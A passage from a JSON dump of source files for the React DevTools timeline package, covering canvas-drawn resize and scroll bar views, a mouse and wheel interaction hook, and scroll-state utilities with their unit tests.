COLORS.REACT_RESIZE_BAR_ACTIVE\n      : COLORS.REACT_RESIZE_BAR;\n    context.fillRect(x, y, width, height);\n\n    context.fillStyle = COLORS.REACT_RESIZE_BAR_BORDER;\n    context.fillRect(x, y, width, BORDER_SIZE);\n    context.fillRect(x, y + height - BORDER_SIZE, width, BORDER_SIZE);\n\n    const horizontalCenter = x + width / 2;\n    const verticalCenter = y + height / 2;\n\n    if (this.showLabel) {\n      // When the resize view is collapsed entirely,\n      // rather than showing a resize bar– this view displays a label.\n      const labelRect: Rect = {\n        origin: {\n          x: 0,\n          y: y + height - RESIZE_BAR_WITH_LABEL_HEIGHT,\n        },\n        size: {\n          width: frame.size.width,\n          height: RESIZE_BAR_WITH_LABEL_HEIGHT,\n        },\n      };\n\n      drawText(this._label, context, labelRect, frame, {\n        fillStyle: COLORS.REACT_RESIZE_BAR_DOT,\n        textAlign: 'center',\n      });\n    } else {\n      // Otherwise draw horizontally centered resize bar dots\n      context.beginPath();\n      context.fillStyle = COLORS.REACT_RESIZE_BAR_DOT;\n      context.arc(\n        horizontalCenter,\n        verticalCenter,\n        RESIZE_BAR_DOT_RADIUS,\n        0,\n        2 * Math.PI,\n      );\n      context.arc(\n        horizontalCenter + RESIZE_BAR_DOT_SPACING,\n        verticalCenter,\n        RESIZE_BAR_DOT_RADIUS,\n        0,\n        2 * Math.PI,\n      );\n      context.arc(\n        horizontalCenter - RESIZE_BAR_DOT_SPACING,\n        verticalCenter,\n        RESIZE_BAR_DOT_RADIUS,\n        0,\n        2 * Math.PI,\n      );\n      context.fill();\n    }\n  }\n\n  _setInteractionState(state: ResizeBarState) {\n    if (this._interactionState === state) {\n      return;\n    }\n    this._interactionState = state;\n    this.setNeedsDisplay();\n  }\n\n  _handleMouseDown(interaction: MouseDownInteraction, viewRefs: ViewRefs) {\n    const cursorInView = rectContainsPoint(\n      interaction.payload.location,\n      this.frame,\n    );\n    if (cursorInView) {\n      this._setInteractionState('dragging');\n      viewRefs.activeView = this;\n    }\n  }\n\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const cursorInView = rectContainsPoint(\n      interaction.payload.location,\n      this.frame,\n    );\n\n    if (viewRefs.activeView === this) {\n      // If we're actively dragging this resize bar,\n      // show the cursor even if the pointer isn't hovering over this view.\n      this.currentCursor = 'ns-resize';\n    } else if (cursorInView) {\n      if (this.showLabel) {\n        this.currentCursor = 'pointer';\n      } else {\n        this.currentCursor = 'ns-resize';\n      }\n    }\n\n    if (cursorInView) {\n      viewRefs.hoveredView = this;\n    }\n\n    if (this._interactionState === 'dragging') {\n      return;\n    }\n    this._setInteractionState(cursorInView ? 'hovered' : 'normal');\n  }\n\n  _handleMouseUp(interaction: MouseUpInteraction, viewRefs: ViewRefs) {\n    const cursorInView = rectContainsPoint(\n      interaction.payload.location,\n      this.frame,\n    );\n    if (this._interactionState === 'dragging') {\n      this._setInteractionState(cursorInView ? 'hovered' : 'normal');\n    }\n\n    if (viewRefs.activeView === this) {\n      viewRefs.activeView = null;\n    }\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousedown':\n        this._handleMouseDown(interaction, viewRefs);\n        break;\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n      case 'mouseup':\n        this._handleMouseUp(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/resizable/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ResizableView';\nexport * from './ResizeBarView';\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/useCanvasInteraction.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {NormalizedWheelDelta} from './utils/normalizeWheel';\nimport type {Point} from './geometry';\n\nimport {useEffect, useRef} from 'react';\nimport {normalizeWheel} from './utils/normalizeWheel';\n\nexport type ClickInteraction = {\n  type: 'click',\n  payload: {\n    event: MouseEvent,\n    location: Point,\n  },\n};\nexport type DoubleClickInteraction = {\n  type: 'double-click',\n  payload: {\n    event: MouseEvent,\n    location: Point,\n  },\n};\nexport type MouseDownInteraction = {\n  type: 'mousedown',\n  payload: {\n    event: MouseEvent,\n    location: Point,\n  },\n};\nexport type MouseMoveInteraction = {\n  type: 'mousemove',\n  payload: {\n    event: MouseEvent,\n    location: Point,\n  },\n};\nexport type MouseUpInteraction = {\n  type: 'mouseup',\n  payload: {\n    event: MouseEvent,\n    location: Point,\n  },\n};\nexport type WheelPlainInteraction = {\n  type: 'wheel-plain',\n  payload: {\n    event: WheelEvent,\n    location: Point,\n    delta: NormalizedWheelDelta,\n  },\n};\nexport type WheelWithShiftInteraction = {\n  type: 'wheel-shift',\n  payload: {\n    event: WheelEvent,\n    location: Point,\n    delta: NormalizedWheelDelta,\n  },\n};\nexport type WheelWithControlInteraction = {\n  type: 'wheel-control',\n  payload: {\n    event: WheelEvent,\n    location: Point,\n    delta: NormalizedWheelDelta,\n  },\n};\nexport type WheelWithMetaInteraction = {\n  type: 'wheel-meta',\n  payload: {\n    event: WheelEvent,\n    location: Point,\n    delta: NormalizedWheelDelta,\n  },\n};\n\nexport type Interaction =\n  | ClickInteraction\n  | DoubleClickInteraction\n  | MouseDownInteraction\n  | MouseMoveInteraction\n  | MouseUpInteraction\n  | WheelPlainInteraction\n  | WheelWithShiftInteraction\n  | WheelWithControlInteraction\n  | WheelWithMetaInteraction;\n\nlet canvasBoundingRectCache = null;\nfunction cacheFirstGetCanvasBoundingRect(\n  canvas: HTMLCanvasElement,\n): ClientRect {\n  if (\n    canvasBoundingRectCache &&\n    canvas.width === canvasBoundingRectCache.width &&\n    canvas.height === canvasBoundingRectCache.height\n  ) {\n    return canvasBoundingRectCache.rect;\n  }\n  canvasBoundingRectCache = {\n    width: canvas.width,\n    height: canvas.height,\n    rect: canvas.getBoundingClientRect(),\n  };\n  return canvasBoundingRectCache.rect;\n}\n\nexport function useCanvasInteraction(\n  canvasRef: {current: HTMLCanvasElement | null},\n  interactor: (interaction: Interaction) => void,\n) {\n  const isMouseDownRef = useRef<boolean>(false);\n  const didMouseMoveWhileDownRef = useRef<boolean>(false);\n\n  useEffect(() => {\n    const canvas = canvasRef.current;\n    if (!canvas) {\n      return;\n    }\n\n    function localToCanvasCoordinates(localCoordinates: Point): Point {\n      // $FlowFixMe[incompatible-call] found when upgrading Flow\n      const canvasRect = cacheFirstGetCanvasBoundingRect(canvas);\n      return {\n        x: localCoordinates.x - canvasRect.left,\n        y: localCoordinates.y - canvasRect.top,\n      };\n    }\n\n    const onCanvasClick: MouseEventHandler = event => {\n      if (didMouseMoveWhileDownRef.current) {\n        return;\n      }\n\n      interactor({\n        type: 'click',\n        payload: {\n          event,\n          location: localToCanvasCoordinates({x: event.x, y: event.y}),\n        },\n      });\n    };\n\n    const onCanvasDoubleClick: MouseEventHandler = event => {\n      if (didMouseMoveWhileDownRef.current) {\n        return;\n      }\n\n      interactor({\n        type: 'double-click',\n        payload: {\n          event,\n          location: localToCanvasCoordinates({x: event.x, y: event.y}),\n        },\n      });\n    };\n\n    const onCanvasMouseDown: MouseEventHandler = event => {\n      didMouseMoveWhileDownRef.current = false;\n      isMouseDownRef.current = true;\n\n      interactor({\n        type: 'mousedown',\n        payload: {\n          event,\n          location: localToCanvasCoordinates({x: event.x, y: event.y}),\n        },\n      });\n    };\n\n    const onDocumentMouseMove: MouseEventHandler = event => {\n      if (isMouseDownRef.current) {\n        didMouseMoveWhileDownRef.current = true;\n      }\n\n      interactor({\n        type: 'mousemove',\n        payload: {\n          event,\n          location: localToCanvasCoordinates({x: event.x, y: event.y}),\n        },\n      });\n    };\n\n    const onDocumentMouseUp: MouseEventHandler = event => {\n      isMouseDownRef.current = false;\n\n      interactor({\n        type: 'mouseup',\n        payload: {\n          event,\n          location: localToCanvasCoordinates({x: event.x, y: event.y}),\n        },\n      });\n    };\n\n    const onCanvasWheel: WheelEventHandler = event => {\n      event.preventDefault();\n      event.stopPropagation();\n\n      const location = localToCanvasCoordinates({x: event.x, y: event.y});\n      const delta = normalizeWheel(event);\n\n      if (event.shiftKey) {\n        interactor({\n          type: 'wheel-shift',\n          payload: {event, location, delta},\n        });\n      } else if (event.ctrlKey) {\n        interactor({\n          type: 'wheel-control',\n          payload: {event, location, delta},\n        });\n      } else if (event.metaKey) {\n        interactor({\n          type: 'wheel-meta',\n          payload: {event, location, delta},\n        });\n      } else {\n        interactor({\n          type: 'wheel-plain',\n          payload: {event, location, delta},\n        });\n      }\n\n      return false;\n    };\n\n    const ownerDocument = canvas.ownerDocument;\n    ownerDocument.addEventListener('mousemove', onDocumentMouseMove);\n    ownerDocument.addEventListener('mouseup', onDocumentMouseUp);\n\n    canvas.addEventListener('click', onCanvasClick);\n    canvas.addEventListener('dblclick', onCanvasDoubleClick);\n    canvas.addEventListener('mousedown', onCanvasMouseDown);\n    canvas.addEventListener('wheel', onCanvasWheel);\n\n    return () => {\n      ownerDocument.removeEventListener('mousemove', onDocumentMouseMove);\n      ownerDocument.removeEventListener('mouseup', onDocumentMouseUp);\n\n      canvas.removeEventListener('click', onCanvasClick);\n      canvas.removeEventListener('dblclick', onCanvasDoubleClick);\n      canvas.removeEventListener('mousedown', onCanvasMouseDown);\n      canvas.removeEventListener('wheel', onCanvasWheel);\n    };\n  }, [canvasRef, interactor]);\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/utils/__tests__/clamp-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {clamp} from '../clamp';\n\ndescribe('clamp', () => {\n  it('should return min if value < min', () => {\n    expect(clamp(0, 1, -1)).toBe(0);\n    expect(clamp(0.1, 1.1, 0.05)).toBe(0.1);\n  });\n\n  it('should return value if min <= value <= max', () => {\n    expect(clamp(0, 1, 0)).toBe(0);\n    expect(clamp(0, 1, 0.5)).toBe(0.5);\n    expect(clamp(0, 1, 1)).toBe(1);\n    expect(clamp(0.1, 1.1, 0.15)).toBe(0.15);\n  });\n\n  it('should return max if max < value', () => {\n    expect(clamp(0, 1, 2)).toBe(1);\n    expect(clamp(0.1, 1.1, 1.15)).toBe(1.1);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/utils/__tests__/scrollState-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  clampState,\n  moveStateToRange,\n  areScrollStatesEqual,\n  translateState,\n  zoomState,\n} from '../scrollState';\n\ndescribe('clampState', () => {\n  it('should passthrough offset if state fits within container', () => {\n    expect(\n      clampState({\n        state: {offset: 0, length: 50},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(0, 10);\n    expect(\n      clampState({\n        state: {offset: -20, length: 100},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(-20, 10);\n  });\n\n  it('should clamp offset if offset causes content to go out of container', () => {\n    expect(\n      clampState({\n        state: {offset: -1, length: 50},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(0, 10);\n    expect(\n      clampState({\n        state: {offset: 1, length: 50},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(0, 10);\n\n    expect(\n      clampState({\n        state: {offset: -51, length: 100},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(-50, 10);\n    expect(\n      clampState({\n        state: {offset: 1, length: 100},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(0, 10);\n  });\n\n  it('should passthrough length if container fits in content', () => {\n    expect(\n      clampState({\n        state: {offset: 0, length: 70},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).length,\n    ).toBeCloseTo(70, 10);\n    expect(\n      clampState({\n        state: {offset: 0, length: 50},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).length,\n    ).toBeCloseTo(50, 10);\n    expect(\n      clampState({\n        state: {offset: 0, length: 100},\n        minContentLength: 0,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).length,\n    ).toBeCloseTo(100, 10);\n  });\n\n  it('should clamp length to minimum of max(minContentLength, containerLength)', () => {\n    expect(\n      clampState({\n        state: {offset: -20, length: 0},\n        minContentLength: 20,\n        maxContentLength: 100,\n        containerLength: 50,\n      }).length,\n    ).toBeCloseTo(50, 10);\n    expect(\n      clampState({\n        state: {offset: -20, length: 0},\n        minContentLength: 50,\n        maxContentLength: 100,\n        containerLength: 20,\n      }).length,\n    ).toBeCloseTo(50, 10);\n  });\n\n  it('should clamp length to maximum of max(containerLength, maxContentLength)', () => {\n    expect(\n      clampState({\n        state: {offset: -20, length: 100},\n        minContentLength: 0,\n        maxContentLength: 40,\n        containerLength: 50,\n      }).length,\n    ).toBeCloseTo(50, 10);\n    expect(\n      clampState({\n        state: {offset: -20, length: 100},\n        minContentLength: 0,\n        maxContentLength: 50,\n        containerLength: 40,\n      }).length,\n    ).toBeCloseTo(50, 10);\n  });\n});\n\ndescribe('translateState', () => {\n  it('should translate state by delta and leave length unchanged', () => {\n    expect(\n      translateState({\n        state: {offset: 0, length: 100},\n        delta: -3.14,\n        containerLength: 50,\n      }),\n    ).toEqual({offset: -3.14, length: 100});\n  });\n\n  it('should clamp resulting offset', () => {\n    expect(\n      translateState({\n        state: {offset: 0, length: 50},\n        delta: -3.14,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(0, 10);\n    expect(\n      translateState({\n        state: {offset: 0, length: 53},\n        delta: -100,\n        containerLength: 50,\n      }).offset,\n    ).toBeCloseTo(-3, 10);\n  });\n});\n\ndescribe('zoomState', () => {\n  it('should scale width by multiplier', () => {\n    expect(\n      zoomState({\n        state: {offset: 0, length: 100},\n        multiplier: 1.5,\n        fixedPoint: 0,\n\n        minContentLength: 0,\n        maxContentLength: 1000,\n        containerLength: 50,\n      }),\n    ).toEqual({offset: 0, length: 150});\n  });\n\n  it('should clamp zoomed state', () => {\n    const zoomedState = zoomState({\n      state: {offset: -20, length: 100},\n      multiplier: 0.1,\n      fixedPoint: 5,\n\n      minContentLength: 50,\n      maxContentLength: 100,\n      containerLength: 50,\n    });\n    expect(zoomedState.offset).toBeCloseTo(0, 10);\n    expect(zoomedState.length).toBeCloseTo(50, 10);\n  });\n\n  it('should maintain containerStart<->fixedPoint distance', () => {\n    const offset = -20;\n    const fixedPointFromContainer = 10;\n\n    const zoomedState = zoomState({\n      state: {offset, length: 100},\n      multiplier: 2,\n      fixedPoint: fixedPointFromContainer - offset,\n\n      minContentLength: 0,\n      maxContentLength: 1000,\n      containerLength: 50,\n    });\n\n    expect(zoomedState).toMatchInlineSnapshot(`\n      {\n        \"length\": 200,\n        \"offset\": -50,\n      }\n    `);\n  });\n});\n\ndescribe('moveStateToRange', () => {\n  it('should set [rangeStart, rangeEnd] = container', () => {\n    const movedState = moveStateToRange({\n      state: {offset: -20, length: 100},\n      rangeStart: 50,\n      rangeEnd: 100,\n      contentLength: 400,\n\n      minContentLength: 10,\n      maxContentLength: 1000,\n      containerLength: 50,\n    });\n\n    expect(movedState).toMatchInlineSnapshot(`\n      {\n        \"length\": 400,\n        \"offset\": -50,\n      }\n    `);\n  });\n});\n\ndescribe('areScrollStatesEqual', () => {\n  it('should return true if equal', () => {\n    expect(\n      areScrollStatesEqual({offset: 0, length: 0}, {offset: 0, length: 0}),\n    ).toBe(true);\n    expect(\n      areScrollStatesEqual({offset: -1, length: 1}, {offset: -1, length: 1}),\n    ).toBe(true);\n  });\n\n  it('should return false if not equal', () => {\n    expect(\n      areScrollStatesEqual({offset: 0, length: 0}, {offset: -1, length: 0}),\n    ).toBe(false);\n    expect(\n      areScrollStatesEqual({offset: -1, length: 1}, {offset: -1, length: 0}),\n    ).toBe(false);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/utils/clamp.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function clamp(min: number, max: number, value: number): number {\n  if (Number.isNaN(min) || Number.isNaN(max) || Number.isNaN(value)) {\n    throw new Error(\n      `Clamp was called with NaN. Args: min: ${min}, max: ${max}, value: ${value}.`,\n    );\n  }\n  return Math.min(max, Math.max(min, value));\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/utils/normalizeWheel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Adapted from: https://github.com/facebookarchive/fixed-data-table/blob/master/src/vendor_upstream/dom/normalizeWheel.js\n\nexport type NormalizedWheelDelta = {\n  deltaX: number,\n  deltaY: number,\n};\n\n// Reasonable defaults\nconst LINE_HEIGHT = 40;\nconst PAGE_HEIGHT = 800;\n\n/**\n * Mouse wheel (and 2-finger trackpad) support on the web sucks.  It is\n * complicated, thus this doc is long and (hopefully) detailed enough to answer\n * your questions.\n *\n * If you need to react to the mouse wheel in a predictable way, this code is\n * like your bestest friend. * hugs *\n *\n * In your event callback, use this code to get sane interpretation of the\n * deltas.  This code will return an object with properties:\n *\n *   - deltaX  -- normalized distance (to pixels) - x plane\n *   - deltaY  -- \" - y plane\n *\n * Wheel values are provided by the browser assuming you are using the wheel to\n * scroll a web page by a number of lines or pixels (or pages).  Values can vary\n * significantly on different platforms and browsers, forgetting that you can\n * scroll at different speeds.  Some devices (like trackpads) emit more events\n * at smaller increments with fine granularity, and some emit massive jumps with\n * linear speed or acceleration.\n *\n * This code does its best to normalize the deltas for you:\n *\n *   - delta* is normalizing the desired scroll delta in pixel units.\n *\n *   - positive value indicates scrolling DOWN/RIGHT, negative UP/LEFT.  This\n *     should translate to positive value zooming IN, negative zooming OUT.\n *     This matches the 'wheel' event.\n *\n * Implementation info:\n *\n * The basics of the standard 'wheel' event is that it includes a unit,\n * deltaMode (pixels, lines, pages), and deltaX, deltaY and deltaZ.\n * See: http://www.w3.org/TR/DOM-Level-3-Events/#events-wheelevents\n *\n * Examples of 'wheel' event if you scroll slowly (down) by one step with an\n * average mouse:\n *\n *   OS X + Chrome  (mouse)     -    4   pixel delta  (wheelDelta -120)\n *   OS X + Safari  (mouse)     -  N/A   pixel delta  (wheelDelta  -12)\n *   OS X + Firefox (mouse)     -    0.1 line  delta  (wheelDelta  N/A)\n *   Win8 + Chrome  (mouse)     -  100   pixel delta  (wheelDelta -120)\n *   Win8 + Firefox (mouse)     -    3   line  delta  (wheelDelta -120)\n *\n * On the trackpad:\n *\n *   OS X + Chrome  (trackpad)  -    2   pixel delta  (wheelDelta   -6)\n *   OS X + Firefox (trackpad)  -    1   pixel delta  (wheelDelta  N/A)\n */\nexport function normalizeWheel(event: WheelEvent): NormalizedWheelDelta {\n  let deltaX = event.deltaX;\n  let deltaY = event.deltaY;\n\n  if (event.deltaMode === WheelEvent.DOM_DELTA_LINE) {\n    // delta in LINE units\n    deltaX *= LINE_HEIGHT;\n    deltaY *= LINE_HEIGHT;\n  } else if (event.deltaMode === WheelEvent.DOM_DELTA_PAGE) {\n    // delta in PAGE units\n    deltaX *= PAGE_HEIGHT;\n    deltaY *= PAGE_HEIGHT;\n  }\n\n  return {deltaX, deltaY};\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/utils/scrollState.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {clamp} from './clamp';\n\n/**\n * Single-axis offset and length state.\n *\n * ```\n * contentStart   containerStart  containerEnd   contentEnd\n *     |<----------offset|              |             |\n *     |<-------------------length------------------->|\n * ```\n */\nexport type ScrollState = {\n  offset: number,\n  length: number,\n};\n\nfunction clampOffset(state: ScrollState, containerLength: number): ScrollState {\n  return {\n    offset: clamp(-(state.length - containerLength), 0, state.offset),\n    length: state.length,\n  };\n}\n\nfunction clampLength({\n  state,\n  minContentLength,\n  maxContentLength,\n  containerLength,\n}: {\n  state: ScrollState,\n  minContentLength: number,\n  maxContentLength: number,\n  containerLength: number,\n}): ScrollState {\n  return {\n    offset: state.offset,\n    length: clamp(\n      Math.max(minContentLength, containerLength),\n      Math.max(containerLength, maxContentLength),\n      state.length,\n    ),\n  };\n}\n\n/**\n * Returns `state` clamped such that:\n * - `length`: you won't be able to zoom in/out such that the content is\n *   shorter than the `containerLength`.\n * - `offset`: content remains in `containerLength`.\n */\nexport function clampState({\n  state,\n  minContentLength,\n  maxContentLength,\n  containerLength,\n}: {\n  state: ScrollState,\n  minContentLength: number,\n  maxContentLength: number,\n  containerLength: number,\n}): ScrollState {\n  return clampOffset(\n    clampLength({\n      state,\n      minContentLength,\n      maxContentLength,\n      containerLength,\n    }),\n    containerLength,\n  );\n}\n\nexport function translateState({\n  state,\n  delta,\n  containerLength,\n}: {\n  state: ScrollState,\n  delta: number,\n  containerLength: number,\n}): ScrollState {\n  return clampOffset(\n    {\n      offset: state.offset + delta,\n      length: state.length,\n    },\n    containerLength,\n  );\n}\n\n/**\n * Returns a new clamped `state` zoomed by `multiplier`.\n *\n * The provided fixed point will also remain stationary relative to\n * `containerStart`.\n *\n * ```\n * contentStart   containerStart                fixedPoint containerEnd\n *     |<---------offset-|                          x           |\n *     |-fixedPoint-------------------------------->x           |\n *                       |-fixedPointFromContainer->x           |\n *                       |<----------containerLength----------->|\n * ```\n */\nexport function zoomState({\n  state,\n  multiplier,\n  fixedPoint,\n\n  minContentLength,\n  maxContentLength,\n  containerLength,\n}: {\n  state: ScrollState,\n  multiplier: number,\n  fixedPoint: number,\n\n  minContentLength: number,\n  maxContentLength: number,\n  containerLength: number,\n}): ScrollState {\n  // Length and offset must be computed separately, so that if the length is\n  // clamped the offset will still be correct (unless it gets clamped too).\n\n  const zoomedState = clampLength({\n    state: {\n      offset: state.offset,\n      length: state.length * multiplier,\n    },\n    minContentLength,\n    maxContentLength,\n    containerLength,\n  });\n\n  // Adjust offset so that distance between containerStart<->fixedPoint is fixed\n  const fixedPointFromContainer = fixedPoint + state.offset;\n  const scaledFixedPoint = fixedPoint * (zoomedState.length / state.length);\n  const offsetAdjustedState = clampOffset(\n    {\n      offset: fixedPointFromContainer - scaledFixedPoint,\n      length: zoomedState.length,\n    },\n    containerLength,\n  );\n\n  return offsetAdjustedState;\n}\n\nexport function moveStateToRange({\n  state,\n  rangeStart,\n  rangeEnd,\n  contentLength,\n\n  minContentLength,\n  maxContentLength,\n  containerLength,\n}: {\n  state: ScrollState,\n  rangeStart: number,\n  rangeEnd: number,\n  contentLength: number,\n\n  minContentLength: number,\n  maxContentLength: number,\n  containerLength: number,\n}): ScrollState {\n  // Length and offset must be computed separately, so that if the length is\n  // clamped the offset will still be correct (unless it gets clamped too).\n\n  const lengthClampedState = clampLength({\n    state: {\n      offset: state.offset,\n      length: contentLength * (containerLength / (rangeEnd - rangeStart)),\n    },\n    minContentLength,\n    maxContentLength,\n    containerLength,\n  });\n\n  const offsetAdjustedState = clampOffset(\n    {\n      offset: -rangeStart * (lengthClampedState.length / contentLength),\n      length: lengthClampedState.length,\n    },\n    containerLength,\n  );\n\n  return offsetAdjustedState;\n}\n\nexport function areScrollStatesEqual(\n  state1: ScrollState,\n  state2: ScrollState,\n): boolean {\n  return state1.offset === state2.offset && state1.length === state2.length;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/VerticalScrollBarView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Rect} from '../geometry';\nimport type {Surface, ViewRefs} from '../Surface';\nimport type {\n  Interaction,\n  ClickInteraction,\n  MouseDownInteraction,\n  MouseMoveInteraction,\n  MouseUpInteraction,\n} from '../useCanvasInteraction';\n\nimport {VerticalScrollOverflowView} from './VerticalScrollOverflowView';\nimport {rectContainsPoint, rectEqualToRect} from '../geometry';\nimport {View} from '../View';\nimport {BORDER_SIZE, COLORS} from '../../content-views/constants';\n\nconst SCROLL_BAR_SIZE = 14;\n\nconst HIDDEN_RECT = {\n  origin: {\n    x: 0,\n    y: 0,\n  },\n  size: {\n    width: 0,\n    height: 0,\n  },\n};\n\nexport class VerticalScrollBarView extends View {\n  _contentHeight: number = 0;\n  _isScrolling: boolean = false;\n  _scrollBarRect: Rect = HIDDEN_RECT;\n  _scrollThumbRect: Rect = HIDDEN_RECT;\n  _verticalScrollOverflowView: VerticalScrollOverflowView;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    verticalScrollOverflowView: VerticalScrollOverflowView,\n  ) {\n    super(surface, frame);\n\n    this._verticalScrollOverflowView = verticalScrollOverflowView;\n  }\n\n  desiredSize(): {+height: number, +width: number} {\n    return {\n      width: SCROLL_BAR_SIZE,\n      height: 0, // No desired height\n    };\n  }\n\n  getMaxScrollThumbY(): number {\n    const {height} = this.frame.size;\n\n    const maxScrollThumbY = height - this._scrollThumbRect.size.height;\n\n    return maxScrollThumbY;\n  }\n\n  setContentHeight(contentHeight: number) {\n    this._contentHeight = contentHeight;\n\n    const {height, width} = this.frame.size;\n\n    const proposedScrollThumbRect = {\n      origin: {\n        x: this.frame.origin.x,\n        y: this._scrollThumbRect.origin.y,\n      },\n      size: {\n        width,\n        height: height * (height / contentHeight),\n      },\n    };\n\n    if (!rectEqualToRect(this._scrollThumbRect, proposedScrollThumbRect)) {\n      this._scrollThumbRect = proposedScrollThumbRect;\n      this.setNeedsDisplay();\n    }\n  }\n\n  setScrollThumbY(value: number) {\n    const {height} = this.frame.size;\n\n    const maxScrollThumbY = this.getMaxScrollThumbY();\n    const newScrollThumbY = Math.max(0, Math.min(maxScrollThumbY, value));\n\n    this._scrollThumbRect = {\n      ...this._scrollThumbRect,\n      origin: {\n        x: this.frame.origin.x,\n        y: newScrollThumbY,\n      },\n    };\n\n    const maxContentOffset = this._contentHeight - height;\n    const contentScrollOffset =\n      (newScrollThumbY / maxScrollThumbY) * maxContentOffset * -1;\n\n    this._verticalScrollOverflowView.setScrollOffset(\n      contentScrollOffset,\n      maxScrollThumbY,\n    );\n  }\n\n  draw(context: CanvasRenderingContext2D, viewRefs: ViewRefs) {\n    const {x, y} = this.frame.origin;\n    const {width, height} = this.frame.size;\n\n    // TODO Use real color\n    context.fillStyle = COLORS.REACT_RESIZE_BAR;\n    context.fillRect(x, y, width, height);\n\n    // TODO Use real color\n    context.fillStyle = COLORS.SCROLL_CARET;\n    context.fillRect(\n      this._scrollThumbRect.origin.x,\n      this._scrollThumbRect.origin.y,\n      this._scrollThumbRect.size.width,\n      this._scrollThumbRect.size.height,\n    );\n\n    // TODO Use real color\n    context.fillStyle = COLORS.REACT_RESIZE_BAR_BORDER;\n    context.fillRect(x, y, BORDER_SIZE, height);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'click':\n        this._handleClick(interaction, viewRefs);\n        break;\n      case 'mousedown':\n        this._handleMouseDown(interaction, viewRefs);\n        break;\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n      case 'mouseup':\n        this._handleMouseUp(interaction, viewRefs);\n        break;\n    }\n  }\n\n  _handleClick(interaction: ClickInteraction, viewRefs: ViewRefs) {\n    const {location} = interaction.payload;\n    if (rectContainsPoint(location, this.frame)) {\n      if (rectContainsPoint(location, this._scrollThumbRect)) {\n        // Ignore clicks on the track thumb directly.\n        return;\n      }\n\n      const currentScrollThumbY = this._scrollThumbRect.origin.y;\n      const y = location.y;\n\n      const {height} = this.frame.size;\n\n      // Scroll up or down about one viewport worth of content:\n      const deltaY = (height / this._contentHeight) * height * 0.8;\n\n      this.setScrollThumbY(\n        y > currentScrollThumbY\n          ? this._scrollThumbRect.origin.y + deltaY\n          : this._scrollThumbRect.origin.y - deltaY,\n      );\n    }\n  }\n\n  _handleMouseDown(interaction: MouseDownInteraction, viewRefs: ViewRefs) {\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, this._scrollThumbRect)) {\n      return;\n    }\n    viewRefs.activeView = this;\n\n    this.currentCursor = 'default';\n\n    this._isScrolling = true;\n    this.setNeedsDisplay();\n  }\n\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {event, location} = interaction.payload;\n    if (rectContainsPoint(location, this.frame)) {\n      if (viewRefs.hoveredView !== this) {\n        viewRefs.hoveredView = this;\n      }\n\n      this.currentCursor = 'default';\n    }\n\n    if (viewRefs.activeView === this) {\n      this.currentCursor = 'default';\n\n      this.setScrollThumbY(this._scrollThumbRect.origin.y + event.movementY);\n    }\n  }\n\n  _handleMouseUp(interaction: MouseUpInteraction, viewRefs: ViewRefs) {\n    if (viewRefs.activeView === this) {\n      